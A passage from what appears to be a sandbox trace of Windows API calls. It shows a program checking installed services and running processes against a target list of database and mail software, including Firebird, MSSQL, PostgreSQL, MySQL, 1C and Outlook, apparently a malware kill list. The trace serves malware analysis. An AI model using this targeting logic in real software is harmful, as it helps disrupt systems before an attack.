lpString2="AudioEndpointBuilder") returned 1 [0135.952] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0135.952] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0135.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0135.952] lstrlenW (lpString="AudioSrv") returned 8 [0135.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0135.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0135.952] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0135.952] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0135.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0135.953] lstrlenW (lpString="BFE") returned 3 [0135.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0135.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0135.953] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0135.953] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0135.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0135.953] lstrlenW (lpString="CryptSvc") returned 8 [0135.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0135.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0135.953] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0135.953] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0135.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0135.953] lstrlenW (lpString="CscService") returned 10 [0135.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0135.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0135.953] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0135.953] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0135.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0135.953] lstrlenW (lpString="DcomLaunch") returned 10 [0135.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.953] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0135.953] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0135.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0135.953] lstrlenW (lpString="Dhcp") returned 4 [0135.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0135.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0135.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0135.954] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0135.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0135.954] lstrlenW (lpString="Dnscache") returned 8 [0135.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0135.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0135.954] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0135.954] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0135.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0135.954] lstrlenW (lpString="DPS") returned 3 [0135.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0135.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0135.954] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0135.954] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0135.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0135.954] lstrlenW (lpString="eventlog") returned 8 [0135.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0135.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0135.954] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0135.954] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0135.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0135.954] lstrlenW (lpString="EventSystem") returned 11 [0135.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0135.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0135.954] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0135.954] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0135.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0135.954] lstrlenW (lpString="gpsvc") returned 5 [0135.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0135.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0135.955] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0135.955] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0135.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0135.955] lstrlenW (lpString="LanmanWorkstation") returned 17 [0135.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.955] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0135.955] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0135.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0135.955] lstrlenW (lpString="lmhosts") returned 7 [0135.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0135.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0135.955] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0135.955] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0135.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0135.955] lstrlenW (lpString="MMCSS") returned 5 [0135.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0135.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0135.955] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0135.955] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0135.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0135.955] lstrlenW (lpString="MpsSvc") returned 6 [0135.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0135.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0135.955] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0135.955] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0135.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0135.956] lstrlenW (lpString="NlaSvc") returned 6 [0135.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0135.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0135.956] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0135.956] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0135.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0135.956] lstrlenW (lpString="nsi") returned 3 [0135.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0135.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0135.956] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0135.956] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0135.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0135.956] lstrlenW (lpString="PcaSvc") returned 6 [0135.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0135.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0135.956] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0135.956] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0135.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0135.956] lstrlenW (lpString="PlugPlay") returned 8 [0135.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0135.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0135.956] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0135.956] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0135.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0135.956] lstrlenW (lpString="Power") returned 5 [0135.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0135.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0135.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0135.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0135.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0135.957] lstrlenW (lpString="ProfSvc") returned 7 [0135.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0135.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0135.957] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0135.957] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0135.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0135.957] lstrlenW (lpString="RpcEptMapper") returned 12 [0135.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.957] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0135.957] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0135.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0135.957] lstrlenW (lpString="RpcSs") returned 5 [0135.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0135.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0135.957] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0135.957] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0135.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0135.957] lstrlenW (lpString="SamSs") returned 5 [0135.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0135.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0135.957] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0135.957] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0135.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0135.958] lstrlenW (lpString="Schedule") returned 8 [0135.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0135.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0135.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0135.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0135.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0135.958] lstrlenW (lpString="SENS") returned 4 [0135.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0135.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0135.958] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0135.958] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0135.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0135.958] lstrlenW (lpString="ShellHWDetection") returned 16 [0135.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.958] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0135.958] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0135.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0135.958] lstrlenW (lpString="Spooler") returned 7 [0135.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0135.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0135.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0135.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0135.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0135.958] lstrlenW (lpString="Themes") returned 6 [0135.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0135.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0135.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0135.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0135.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0135.959] lstrlenW (lpString="UxSms") returned 5 [0135.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0135.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0135.959] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0135.959] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0135.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0135.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0135.959] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0135.961] Process32FirstW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.962] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.962] lstrlenW (lpString="System") returned 6 [0135.962] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0135.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0135.962] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0135.962] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0135.998] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0135.998] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0135.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0135.998] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.999] lstrlenW (lpString="smss.exe") returned 8 [0135.999] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0135.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0135.999] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0135.999] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0135.999] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0135.999] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0135.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0135.999] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.999] lstrlenW (lpString="csrss.exe") returned 9 [0135.999] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0135.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0135.999] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0135.999] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0135.999] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0135.999] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0135.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0135.999] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0136.000] lstrlenW (lpString="wininit.exe") returned 11 [0136.000] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0136.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0136.000] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0136.000] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0136.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0136.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0136.000] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0136.000] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.000] lstrlenW (lpString="csrss.exe") returned 9 [0136.000] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0136.000] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0136.000] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0136.000] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0136.000] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0136.000] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0136.000] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0136.000] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0136.001] lstrlenW (lpString="winlogon.exe") returned 12 [0136.001] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0136.001] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0136.001] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0136.001] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0136.001] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0136.001] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0136.001] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0136.001] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0136.004] lstrlenW (lpString="services.exe") returned 12 [0136.004] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0136.004] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0136.004] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0136.004] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0136.004] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0136.004] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0136.004] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0136.004] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0136.005] lstrlenW (lpString="lsass.exe") returned 9 [0136.005] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0136.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0136.005] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0136.005] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0136.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0136.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0136.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0136.005] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0136.005] lstrlenW (lpString="lsm.exe") returned 7 [0136.005] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0136.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0136.006] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0136.006] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0136.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0136.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0136.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0136.006] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.006] lstrlenW (lpString="svchost.exe") returned 11 [0136.006] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.006] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.006] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.006] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.007] lstrlenW (lpString="svchost.exe") returned 11 [0136.007] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.007] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.007] lstrlenW (lpString="svchost.exe") returned 11 [0136.007] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0136.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.008] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.008] lstrlenW (lpString="svchost.exe") returned 11 [0136.008] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.008] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.008] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 